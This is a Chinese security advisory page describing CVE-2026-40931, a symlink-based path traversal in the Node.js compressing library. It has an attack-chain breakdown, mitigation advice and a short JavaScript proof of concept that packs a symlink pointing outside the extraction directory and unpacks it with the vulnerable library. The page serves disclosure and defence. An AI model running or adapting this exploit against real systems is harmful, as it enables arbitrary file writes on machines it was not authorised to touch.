IPBUF安全漏洞报告
English
CVE-2026-40931 CVSS 8.4 高危

CVE-2026-40931 compressing库路径穿越漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40931
漏洞类型
路径穿越
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
compressing

相关标签

路径穿越目录投毒Node.jscompressingCVE-2026-40931

漏洞概述

Node.js的compressing库在2.1.1和1.10.5之前的版本中存在路径穿越漏洞。该漏洞是由于对CVE-2026-24884的修复仅依赖字符串逻辑验证,未考虑实际文件系统状态。攻击者可利用预先存在的符号链接(目录投毒)绕过安全检查,导致任意文件写入风险。

技术细节

该漏洞的核心在于`isPathWithinParent`工具函数存在逻辑缺陷。在受影响版本中,修复补丁仅通过字符串比较来验证解压路径是否位于目标目录内,即检查路径字符串是否以目标目录字符串开头。然而,这种纯逻辑验证忽略了文件系统的实际物理状态。攻击者可以利用“目录投毒”技术,在解压操作开始前,在解压目标目录中预先放置符号链接。由于符号链接在未解析的情况下看起来是合法的子路径,安全检查被绕过。当解压过程实际发生时,文件操作会跟随符号链接,导致文件被写入到预期目录之外的任意位置。这种“逻辑与物理”路径的差异使得攻击者无需用户交互和认证即可在本地实现任意文件写入,从而危及机密性、完整性和可用性。

攻击链分析

STEP 1
准备阶段
攻击者构造包含恶意符号链接的压缩包,该符号链接指向解压目标目录之外的敏感路径。
STEP 2
投毒/放置
利用目录投毒技术,确保在解压验证阶段,符号链接被识别为逻辑上的合法子路径。
STEP 3
绕过检查
compressing库的`isPathWithinParent`函数仅进行字符串前缀匹配,未能解析符号链接的物理目标,导致安全检查通过。
STEP 4
执行写入
解压过程跟随符号链接物理路径,将文件写入到系统任意位置,实现路径穿越攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const fs = require('fs'); const path = require('path'); const compressing = require('compressing'); async function generateMaliciousArchive() { // Setup directories const sourceDir = './source'; const extractDir = './extract'; const targetLink = '../../../tmp'; if (!fs.existsSync(sourceDir)) fs.mkdirSync(sourceDir); if (!fs.existsSync(extractDir)) fs.mkdirSync(extractDir); // Step 1: Create a symlink pointing outside the extraction directory // This simulates the Directory Poisoning technique const linkPath = path.join(sourceDir, 'poisoned_link'); try { fs.symlinkSync(targetLink, linkPath); console.log(`[+] Created symlink: ${linkPath} -> ${targetLink}`); } catch (e) { console.log('[-] Symlink creation failed (might need admin rights)'); } // Step 2: Create a file inside the source (or just the structure) fs.writeFileSync(path.join(sourceDir, 'test.txt'), 'pwned'); // Step 3: Compress the directory const zipFile = './exploit.zip'; await compressing.zip.compressDir(sourceDir, zipFile); console.log(`[+] Archive created: ${zipFile}`); // Step 4: Attempt to unzip using the vulnerable library // The isPathWithinParent check may pass logically but fail physically try { console.log('[*] Attempting to unzip...'); await compressing.zip.uncompress(zipFile, extractDir); console.log('[+] Unzip complete. Check filesystem for writes outside ./extract'); } catch (err) { console.error('[-] Exploit failed:', err.message); } } generateMaliciousArchive();

影响范围

compressing < 2.1.1
compressing < 1.10.5

防御指南

临时缓解措施
建议用户在解压不可信来源的压缩包时,在沙箱或隔离环境中进行。同时,应检查解压后的文件路径,确保其物理路径未通过符号链接跳出预期目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表